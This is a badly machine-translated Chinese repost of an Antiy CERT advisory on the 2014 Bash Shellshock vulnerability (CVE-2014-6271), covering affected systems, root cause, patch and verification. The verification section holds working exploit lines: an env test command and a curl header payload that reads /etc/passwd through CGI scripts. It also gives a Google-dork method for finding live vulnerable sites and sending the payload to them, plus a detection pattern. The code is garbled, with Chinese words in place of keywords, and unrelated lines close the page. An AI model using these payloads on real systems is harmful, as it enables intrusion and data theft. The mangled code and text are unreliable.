
此版本的更新时间: 2014年9月29日13:20

目录
一张,威胁卡
第二,概述
三个. 发布/披露已知事件
四,漏洞的影响范围
五,脆弱性原则
六个. 漏洞验证方法
七种漏洞检测方法
八,该漏洞可能带来的影响
九,关于此漏洞的建议
十个罗word的单词写在最后
附录1: 致谢
附录2: 更新日志
附录3: 关于破坏外壳的漏洞的命名
附录4: 国内Brother安全团队的参考分析结果
附录V: 其他参考链接
附录VI: 关于Antiy
2014年9月24日,Bash宣布具有一个远程执行代码漏洞. 安蒂实验室安全研究和紧急响应中心(以下简称为安蒂CERT)立即从该信息中作出判断,并确认该漏洞可能导致严重的后果. 后果广泛分布,对5级A级风险开始了紧急响应. 北京时间9月24日上午30: .
Antiy CERT对漏洞进行了严格的分析和验证,并确认该漏洞将影响当前的主流Linux和MacOSX操作系统平台,包括但不限于Redhat,CentOS,Ubuntu,Debian,Fedora,Amazon Linux, OS X 10.10和其他平台. 该漏洞可以通过构造环境变量的值来执行您要执行的攻击代码脚本. 该漏洞将影响与Bash交互的各种应用程序,包括HTTP,OpenSSH和DHCP. 根据当前的漏洞验证情况和已经发布的POC情况,此漏洞将严重影响网络基础架构的安全性,包括但不限于网络设备,网络安全设备,云和大数据中心. 特别是,Bash广泛分布并存在于设备中. 它的消除过程将非常耗时,并且很容易使用它编写蠕虫以进行自动传播. 这也将导致僵尸网络的发展. 目前,多个海外安全机构已发出警告.
注1: Wikipedia中引用的Bash被描述为: “ Bash,一种Unixshell. 1989年发布了第一个正式版本. 最初计划将其用于GNU操作系统,但可以在以下版本中运行: 大多数类别,它用作Unix操作系统(包括Linux和Mac OS X v10.4)上的默认外壳,也已移植到Microsoft Windows上的Cygwin和MinGW或可在MS-DOS上使用的DJGPP项目中. Novell NetWare和Android也已移植. ”
注2: A级响应是Antiy认为是威胁的最高级别. Antiy的目标是蠕虫的爆发和严重的漏洞,这些漏洞可能导致的网络瘫痪和阻塞,并对关键的信息系统和基础架构造成严重威胁. 威胁将启动A级响应. 具体的响应要求是无条件终止分析团队的现有工作,立即建立分析团队,开始快速分析,并及时通知相关的CERT组织和管理部门;持续跟踪威胁,分析和响应相关文献,并不断更新和同步. 这是安蒂今年的第二次A级回应. 以前,这是出血的脆弱性. 自Antiy建立威胁响应分级机制以来,它一直负责密码蠕虫,冲击波,冲击波,SQL Slammer,魔术波,熊猫烧香启动A级响应.
根据信息检索,此漏洞的发现者是法国GNU / LINUX研究人员StéphaneChazelas,发现时间为2014年9月中旬,公开时间为2014年9月24日.
表1漏洞发布供应商列表
表2主要漏洞影响平台和版本
注3: 您也可以下载.

Antiy CERT当前已验证Red Hat,CentOS,Ubuntu,Fedora,Amazon Linux,OS X 10.10中存在具有CVE-2014-6271漏洞的Bash版本,并且是由于Bash在各种主流操作系统中的广泛使用此漏洞的影响包括但不限于使用Bash的大多数Unix,Linux和Mac OS X应用程序,这些操作系统管理的数据具有高风险威胁. 利用此漏洞的方法将通过与Bash交互的各种应用程序开发,包括HTTP,OpenSSH和DHCP.
Antian CERT当前可以采样并验证当前预安装的Android操作系统当前不支持ENV命令. 可以推测,Android操作系统受此漏洞影响的可能性较小.
函数名称调用Bash当前使用的环境变量,从而导致漏洞. 在“(){”开头定义的环境变量被解析为命令ENV中的函数后,Bash执行不会退出,并且Is将继续解析和执行shell命令. 主要原因是输入过滤没有严格的限制,也没有做出合法的参数判断.
在补丁中,主要过滤参数的合法性. 修补程序在/builtins/evalstring.c的parse_and_execute函数中对输入命令的合法性进行边界检测,并排除了代码注入的可能性. 在排除中,主要使用标志的两种判断和命令的一种类型匹配. 为了使标志的判断准确,补丁中预定义了两个徽标SEVAL_FUNCDEF和SEVAL_ONECMD作为判断依据. 此漏洞有三个补丁更新,主要用于过滤输入命令.
/builtins/common.h
#define SEVAL_FUNCDEF0x080 / *仅允许函数定义* /
#define SEVAL_ONECMD 0x100 / *仅允许单个命令* /
/builtins/evalstring.c
如果((flags&SEVAL_FUNCDEF)&& command-> type!= cm_function_def)
{
internal_warning(“%s: 忽略函数定义尝试”,from_file);
should_jump_to_top_level = 0;
last_result = last_command_exit_value = EX_BADUSAGE;
休息;
}
/builtins/evalstring.c
从描述的漏洞原理可以看出,漏洞的根本原因在于Bash的ENV命令的实现,因此漏洞本身无法直接导致远程代码执行. 如果达到远程执行代码的目的,则必须使用第三方服务程序作为媒介来实现它,并且第三方服务程序还必须满足许多条件才能发挥这种媒介的作用. 例如,Antiy CERT已经验证了第三方服务程序apache2可以用作此介质,并且其CGI组件可以进行远程访问,并可以调用Bash的ENV命令来访问数据分析功能. 有关详细信息,请参见以下: CVE-2014-6271远程执行代码的漏洞实现.

当前的Bash脚本通过导出环境变量来支持自定义函数,并且还可以将自定义Bash函数传递给与子进程相关的进程. 通常,不会执行功能体内的代码,但是此漏洞将错误地执行“ {}”大括号之外的命令. Antiy CERT已对破壳漏洞进行了详细的验证,包括本地验证,远程模拟验证和远程实际验证. 远程验证可为httpd服务器提供启用了CGI的测试功能. 因为在执行CGI时,将调用Bash来将Referer,host,UserAgent,Header等视为环境变量. 此外,Antiy CERT还使用DHCP和其他破坏外壳的攻击进行了仿真和攻击方法验证.
1. 本地认证方式:
在shell中执行以下命令:
env x ='(){: ;};回声脆弱的CVE-2014-6271'bash -c“回声测试”
执行该命令后,如果显示Vulnerable CVE-2014-6271,则表明系统易受攻击,可以将echo Vulnerable CVE-2014-6271更改为任何命令以执行.
1)Linux Debian操作系统漏洞验证如下:

2)Apple操作系统(OS X 10.10)漏洞验证如下:


2. 远程验证方法
a. 仿真验证方法
此方法适用于原理验证.
1)在Ubuntu下安装和配置apache服务器
l安装apache2服务器
#sudo apt-get install apache2
l配置apache2服务器
配置文件位于/ etc / apache2 /启用了站点/ 000-default
l使用vi打开配置文件:
#sudo vi / etc / apache2 /已启用站点/ 000默认值
l修改两个句子,如下所示:
DocumentRoot / var / www / html
ScriptAlias / cgi-bin / / var / www / html / cgi-bin /
2)编写WEB服务器测试文件
l编辑服务器测试文件
#sudo vi /var/www/html/cgi-bin/test.sh
#! / bin / bash
回显“内容类型: 文本/ html”
回声“”
l然后重新启动服务
#sudo /etc/init.d/apache2重新启动
3)远程测试
l测试命令如下:
curl -H'x: (){: ;}; a =`/ bin / cat / etc / passwd`; echo $ a''http: // IP地址/ cgi-bin / test.sh'-I
A =`/ bin / cat / etc / passwd`可以在命令中更改; echo $ a是要执行的任何命令.

b. 真实的验证方法

此方法适用于Internet管理部门进行的互联网普查.
1)使用搜索引擎搜索潜在的易受攻击的网站. 以下以google搜索为例:
检索: inurl: / cgi-bin /文件类型: sh
2)提取检索到的URLbash远程命令执行漏洞,然后替换下面的“替换URL”
curl -H'x: (){: ;}; a =`/ bin / cat / etc / passwd`; echo $ a''替换URL'-I
3)如果存在漏洞,则可以复制模拟验证方法的结果以确定漏洞的范围和破坏程度;如果不使用搜索引擎,也可以构造路径(例如: IP / cgi-bin /update.sh、IP / cgi-bin / admin.sh等)来进行连接尝试,但是此方法将浪费大量资源进行无用的连接尝试.
您可以使用本地和远程漏洞验证方法来编写和配置脚本bash远程命令执行漏洞,程序或snort规则等,然后对操作系统平台进行批处理检测. 执行HTTP检测时,可以检测Referer,主机,UserAgent,标头等的标头信息字符串“(){”或相应的十六进制“ \ x28 \ x29 \ x20 \ x7b”,以检测某些具有以下特征的攻击: 发生了.
我们正在进一步进行攻击捕获和特征提取.
注4: 先前版本中的检测规则存在问题. 修正后,此版本已由网友@TeLeMan完善. 谢谢.
1. 该漏洞可以绕过sshd中ForceCommand的配置来执行任意命令;
2. 如果CGI脚本是用Bash编写的,则使用mod_cgi或mod_cgid的Apache服务器将受到影响;
3. DHCP客户端调用Shell脚本来配置系统,并且可能允许执行任何命令;
4. 各种守护程序和SUID /特权程序都可以执行Shell脚本,从而允许用户通过设置或影响环境变量的值来运行任意命令.
1. 根据第6节中的漏洞验证方法执行验证判断. 如果确定存在漏洞,请更新第3节中给出的解决方案的版本.
2. 更新Bash源代码,对ENV命令的实现部分进行边界检查和参数过滤,严格定义函数定义范围,并进行合法的参数判断.
也许我们将不会再更新此报告,因为我们正在就破坏外壳的漏洞进行后续工作,并且我们注定将重点放在漏洞的检测和评估上. 在反APT团队中定位.
这也是Antiy CERT今年第二次做出A级答复,而上一次是Heart Bleed. 当我们回顾Antiy的A级响应文件时,会看到许多熟悉的名称: 密码蠕虫,冲击波,冲击波...
在“出血”发生之前的几年中,这是一个高度定向发展的时代. Antiy CERT的重点转向分析更详细,更长时间的APT攻击,这种攻击已经发布多年了. 超过A级回应. 因此,当“流血”到来时,我们似乎很慌张. 我们不习惯在清晨从睡眠中醒来,我们突然发现需要重建基本环境. 当时,我们的感觉是,就像一群侦探仔细地收集证据并在现场进行研究一样,他们突然在城市里发现了一场大火,任务迅速变成了一支全队参加消防工作. 对于安全分析工程师来说,只要他们重新进入防火线,就可以唤醒睡眠的尖锐和鲜血.
本文来自电脑杂谈,转载请注明本文网址:
http://www.pc-fly.com/a/jisuanjixue/article-200329-1.html
假的
战争只是牺牲部分地区的秩序